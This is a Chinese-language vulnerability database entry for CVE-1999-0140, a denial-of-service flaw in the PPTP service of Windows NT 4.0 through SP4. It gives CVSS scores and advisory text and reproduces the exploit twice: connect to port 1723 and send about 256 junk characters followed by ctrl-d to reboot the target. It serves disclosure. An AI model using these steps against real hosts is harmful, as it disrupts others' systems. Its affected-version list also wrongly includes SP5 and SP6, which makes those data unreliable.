CVE-1999-0140
CVSS5.0
发布时间 :1999-06-30 00:00:00
修订时间 :2008-09-05 16:16:33
NMOES    

[原文]Denial of service in RAS/PPTP on NT systems.


[CNNVD]CNNVD数据暂缺。


[机译]拒绝RAS / PPTP服务在NT系统。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0140
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0140
(官方数据源) NVD

- 其它链接及资源

- 漏洞信息 (20508)

Microsoft NT 4.0 RAS/PPTP Malformed Control Packet Denial of Service Attack (EDBID:20508)
windows dos
1999-04-27 Verified
0 Simon Helson
N/A [点击下载]
source: http://www.securityfocus.com/bid/2111/info

Quoted from a Microsoft FAQ, "Point-to-Point-Tunneling Protocol (PPTP) is a new networking technology that supports multiprotocol virtual private networks (VPN), enabling remote users to access corporate networks securely across the Microsoft Windows NT Workstation, Windows 95, and Windows 98 operating systems and other point-to-point protocol (PPP)-enabled systems to dial into a local Internet service provider to connect securely to their corporate network through the Internet." On Microsoft Windows NT 4.0 up to and including Service Pack 4 running this service a denial of service is possible. This is accomplished by connecting to port 1723 (the PPTP/VPN service's port) and sending garbage (~256 characters) followed by control-d. This causes the target machine to reboot. 

1) telnet targetmachine 1723
2) hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhh (256 characters)
3) ctrl-d 		

- 漏洞信息

55332
Microsoft Windows PPTP Server (Raspptpe.sys) Malformed Control Packet Remote DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1999-04-27 Unknow
1999-04-27 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft NT RAS/PPTP Malformed Control Packet Denial of Service Attack
Failure to Handle Exceptional Conditions 2111
Yes Yes
1999-04-27 12:00:00 2009-07-11 04:46:00
Posted to BugTraq on April 27, 1999 by Simon Helson <simon@concepts.co.nz>

- 受影响的程序版本

Microsoft Windows NT Terminal Server 4.0
Microsoft Windows NT 4.0 SP4
+ Microsoft Windows NT Enterprise Server 4.0 SP4
+ Microsoft Windows NT Enterprise Server 4.0 SP4
+ Microsoft Windows NT Server 4.0 SP4
+ Microsoft Windows NT Server 4.0 SP4
+ Microsoft Windows NT Terminal Server 4.0 SP4
+ Microsoft Windows NT Terminal Server 4.0 SP4
+ Microsoft Windows NT Workstation 4.0 SP4
+ Microsoft Windows NT Workstation 4.0 SP4
Microsoft Windows NT 4.0 SP3
+ Microsoft Windows NT Enterprise Server 4.0 SP3
+ Microsoft Windows NT Enterprise Server 4.0 SP3
+ Microsoft Windows NT Server 4.0 SP3
+ Microsoft Windows NT Server 4.0 SP3
+ Microsoft Windows NT Terminal Server 4.0 SP3
+ Microsoft Windows NT Terminal Server 4.0 SP3
+ Microsoft Windows NT Workstation 4.0 SP3
+ Microsoft Windows NT Workstation 4.0 SP3
Microsoft Windows NT 4.0 SP2
+ Microsoft Windows NT Enterprise Server 4.0 SP2
+ Microsoft Windows NT Enterprise Server 4.0 SP2
+ Microsoft Windows NT Server 4.0 SP2
+ Microsoft Windows NT Server 4.0 SP2
+ Microsoft Windows NT Terminal Server 4.0 SP2
+ Microsoft Windows NT Terminal Server 4.0 SP2
+ Microsoft Windows NT Workstation 4.0 SP2
+ Microsoft Windows NT Workstation 4.0 SP2
Microsoft Windows NT 4.0 SP1
+ Microsoft Windows NT Enterprise Server 4.0 SP1
+ Microsoft Windows NT Enterprise Server 4.0 SP1
+ Microsoft Windows NT Server 4.0 SP1
+ Microsoft Windows NT Server 4.0 SP1
+ Microsoft Windows NT Terminal Server 4.0 SP1
+ Microsoft Windows NT Terminal Server 4.0 SP1
+ Microsoft Windows NT Workstation 4.0 SP1
+ Microsoft Windows NT Workstation 4.0 SP1
Microsoft Windows NT 4.0
+ Microsoft Windows NT Enterprise Server 4.0
+ Microsoft Windows NT Enterprise Server 4.0
+ Microsoft Windows NT Server 4.0
+ Microsoft Windows NT Server 4.0
+ Microsoft Windows NT Terminal Server 4.0
+ Microsoft Windows NT Terminal Server 4.0
+ Microsoft Windows NT Workstation 4.0
+ Microsoft Windows NT Workstation 4.0
Microsoft Windows NT 4.0 SP6
+ Microsoft Windows NT Enterprise Server 4.0 SP6
+ Microsoft Windows NT Enterprise Server 4.0 SP6
+ Microsoft Windows NT Server 4.0 SP6
+ Microsoft Windows NT Server 4.0 SP6
+ Microsoft Windows NT Terminal Server 4.0 SP6
+ Microsoft Windows NT Terminal Server 4.0 SP6
+ Microsoft Windows NT Workstation 4.0 SP6
+ Microsoft Windows NT Workstation 4.0 SP6
Microsoft Windows NT 4.0 SP5
+ Microsoft Windows NT Enterprise Server 4.0 SP5
+ Microsoft Windows NT Enterprise Server 4.0 SP5
+ Microsoft Windows NT Server 4.0 SP5
+ Microsoft Windows NT Server 4.0 SP5
+ Microsoft Windows NT Terminal Server 4.0 SP5
+ Microsoft Windows NT Terminal Server 4.0 SP5
+ Microsoft Windows NT Workstation 4.0 SP5
+ Microsoft Windows NT Workstation 4.0 SP5

- 不受影响的程序版本

Microsoft Windows NT 4.0 SP6
+ Microsoft Windows NT Enterprise Server 4.0 SP6
+ Microsoft Windows NT Enterprise Server 4.0 SP6
+ Microsoft Windows NT Server 4.0 SP6
+ Microsoft Windows NT Server 4.0 SP6
+ Microsoft Windows NT Terminal Server 4.0 SP6
+ Microsoft Windows NT Terminal Server 4.0 SP6
+ Microsoft Windows NT Workstation 4.0 SP6
+ Microsoft Windows NT Workstation 4.0 SP6
Microsoft Windows NT 4.0 SP5
+ Microsoft Windows NT Enterprise Server 4.0 SP5
+ Microsoft Windows NT Enterprise Server 4.0 SP5
+ Microsoft Windows NT Server 4.0 SP5
+ Microsoft Windows NT Server 4.0 SP5
+ Microsoft Windows NT Terminal Server 4.0 SP5
+ Microsoft Windows NT Terminal Server 4.0 SP5
+ Microsoft Windows NT Workstation 4.0 SP5
+ Microsoft Windows NT Workstation 4.0 SP5

- 漏洞讨论

Quoted from a Microsoft FAQ, "Point-to-Point-Tunneling Protocol (PPTP) is a new networking technology that supports multiprotocol virtual private networks (VPN), enabling remote users to access corporate networks securely across the Microsoft Windows NT Workstation, Windows 95, and Windows 98 operating systems and other point-to-point protocol (PPP)-enabled systems to dial into a local Internet service provider to connect securely to their corporate network through the Internet." On Microsoft Windows NT 4.0 up to and including Service Pack 4 running this service a denial of service is possible. This is accomplished by connecting to port 1723 (the PPTP/VPN service's port) and sending garbage (~256 characters) followed by control-d. This causes the target machine to reboot.

- 漏洞利用

1) telnet targetmachine 1723
2) hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhh (256 characters)
3) ctrl-d

- 解决方案

Upgrade to Service Pack 5 or later.

- 相关参考

 

 

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